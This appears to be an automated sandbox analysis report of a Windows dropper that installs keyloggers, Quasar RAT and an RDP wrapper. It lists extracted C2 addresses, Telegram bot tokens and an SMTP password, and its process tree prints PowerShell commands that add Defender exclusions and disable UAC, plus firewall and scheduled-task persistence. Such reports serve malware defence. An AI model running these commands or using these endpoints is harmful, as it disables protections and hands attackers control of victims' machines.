Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- max time kernel
507s - max time network
661s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
06/12/2025, 00:25
Errors
Reason
Machine shutdown
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample251206-aq5fcsbt4e
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
vipkeylogger
Credentials
-
Protocol
smtp
-
Host
hosting2.ro.hostsailor.com
-
Port
587
-
Username
-
Password
7213575aceACE@@#
-
Email to
C2
-
https://api.telegram.org/bot8099843793:AAGeYKMLti1IpyT9o6bz7OtgdXF9md25uXA/sendMessage?chat_id=6337180137
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
RAT 5 (EPIC VERISON)
C2
-
serveo.net:11453
Mutex
-
7a1301f7-dc6f-4847-a8ee-ca627a9efa0f
Attributes
-
encryption_key
3B793156AD6D884F51309D0E992DAA75D03D2783
-
install_name
Application Frame Host.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Microsoft
-
subdirectory
SubDir
Extracted
Family
-
snakekeylogger
C2
-
https://api.telegram.org/bot6902339059:AAGsf2XinMbydTo5jt5Mx1XjIWrl_TXP-Rs/sendMessage?chat_id=1179499921
Signatures
- A stealer written in Python and packaged with Pyinstaller 2 IoCs
- Blankgrabber family
- DeerStealer
DeerStealer is a sophisticated information stealer written in C++.
- Deerstealer family
- Detect Xworm Payload 3 IoCs
- Detects DeerStealer 2 IoCs
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Mimikatz family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 3 IoCs
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 1 IoCs
- Snakekeylogger family
- UAC bypass 3 TTPs 2 IoCs
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Vipkeylogger family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
- mimikatz is an open source tool to dump credentials on Windows 1 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 2 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs
Run Powershell and hide display window.
- Disables one or more Microsoft Defender components 1 TTPs 2 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 41 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Looks for VMWare services registry key. 1 TTPs 2 IoCs
- Modifies RDP port number used by Windows 1 TTPs
- Modifies Windows Firewall 2 TTPs 4 IoCs
- Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 12 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 22 IoCs
- Looks up external IP address via web service 16 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies WinLogon 2 TTPs 1 IoCs
- Drops autorun.inf file 1 TTPs 1 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 64 IoCs
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 7 IoCs
- UPX packed file 31 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 53 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 7 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 10 IoCs
- Kills process with taskkill 1 IoCs
- Modifies registry class 35 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: LoadsDriver 35 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 9 IoCs
- Suspicious use of SendNotifyMessage 4 IoCs
- Suspicious use of SetWindowsHookEx 45 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 3 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\which_browser-0.2.3+41-windows-setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\which_browser-0.2.3+41-windows-setup.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-FQTF7.tmp\which_browser-0.2.3+41-windows-setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-FQTF7.tmp\which_browser-0.2.3+41-windows-setup.tmp" /SL5="$C0238,12476209,882176,C:\Users\Admin\AppData\Local\Temp\Files\which_browser-0.2.3+41-windows-setup.exe"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\which_browser\which_browser.exe"C:\Program Files\which_browser\\which_browser.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Files\Installer.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\alphaTweaks.exe"C:\Users\Admin\AppData\Local\Temp\Files\alphaTweaks.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\Files\actu.exe"C:\Users\Admin\AppData\Local\Temp\Files\actu.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\' -Verb RunAs"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\'}"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0"4⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0"4⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-T80V7.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-T80V7.tmp\setup.tmp" /SL5="$80320,25788751,180224,C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\MPHT\tools\lang\Help_en.chm5⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\MPHT\MAKE_pkg.exe"C:\MPHT\MAKE_pkg"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\MPHT\tools\ip.bat6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh interface show interface7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh interface show interface8⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh interface ipv4 show ipaddresses "Ethernet" normal7⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh interface ipv4 show ipaddresses "Ethernet" normal8⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"C:\Users\Admin\AppData\Local\Temp\Files\gbIM8JUazFGEAPH.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\keylogger.exe"C:\Users\Admin\AppData\Local\Temp\Files\keylogger.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Remotely_Desktop.exe"C:\Users\Admin\AppData\Local\Temp\Files\Remotely_Desktop.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Remotely_Desktop\Current\Remotely_Desktop.exe"C:\Users\Admin\AppData\Local\Temp\Remotely_Desktop\Current\Remotely_Desktop.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall delete rule name="Remotely Desktop"4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Remotely Desktop" program="C:\Users\Admin\AppData\Local\Temp\Remotely_Desktop\Current\Remotely_Desktop.exe" protocol=any dir=in enable=yes action=allow description="The agent that allows screen sharing and remote control for Remotely."4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\GMT\UpdateDIr\G7_Update_240401\install.bat" "4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im "BasmDocu.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 15⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\GMT\UpdateDIr\G7_Update_240401\IniEditor.exeIniEditor.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RDPW_Installer.exe"C:\Users\Admin\AppData\Local\Temp\Files\RDPW_Installer.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\581F.tmp\5820.tmp\5821.bat C:\Users\Admin\AppData\Local\Temp\Files\RDPW_Installer.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\581F.tmp\RDPWInst.exe"RDPWInst" -u5⤵
- Executes dropped EXE
-
-
C:\Windows\system32\PING.EXEping -n 3 localhost5⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\xcopy.exexcopy "RDP_CnC.exe" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
- Drops file in Program Files directory
-
-
C:\Windows\system32\xcopy.exexcopy "RDPWInst.exe" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
- Drops file in Program Files directory
-
-
C:\Windows\system32\xcopy.exexcopy "update.bat" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
- Drops file in Program Files directory
-
-
C:\Windows\system32\xcopy.exexcopy "RDP_CnC.lnk" "C:\Users\Admin\Desktop\" /s /I /y5⤵
-
-
C:\Program Files\RDP Wrapper\RDPWInst.exe"C:\Program Files\RDP Wrapper\RDPWInst" -i -o5⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Modifies WinLogon
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=udp localport=3389 profile=any action=allow6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\581F.tmp\LGPO.exelgpo /m H264_ON.pol5⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /CREATE /SC ONSTART /DELAY 0002:00 /TN "RDPWUpdater" /TR "'C:\Program Files\RDP Wrapper\RDPWInst.exe' -w" /RL HIGHEST /RU SYSTEM /NP /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.execmd.exe /C start "" "C:\Program Files\RDP Wrapper\RDP_CnC.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y8⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y8⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y9⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y9⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y9⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y10⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y9⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y10⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"9⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y11⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y11⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"10⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y11⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y12⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y11⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y12⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y13⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y13⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y13⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y14⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y13⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y14⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"13⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y14⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y15⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y14⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y15⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"14⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y15⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y16⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y15⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y16⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"15⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y16⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y17⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y16⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y17⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"16⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y17⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y18⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y17⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y18⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"17⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y18⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y19⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y18⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y19⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"18⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y19⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y20⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y19⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y20⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"19⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y20⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y21⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y20⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y21⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"20⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y21⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y22⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y21⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y22⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"21⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y22⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y23⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y22⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y23⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"22⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y23⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y24⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y23⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y24⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"23⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y24⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y25⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y24⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y25⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"24⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y25⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y26⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y25⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y26⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"25⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y26⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y27⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y26⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y27⤵
-
-
-
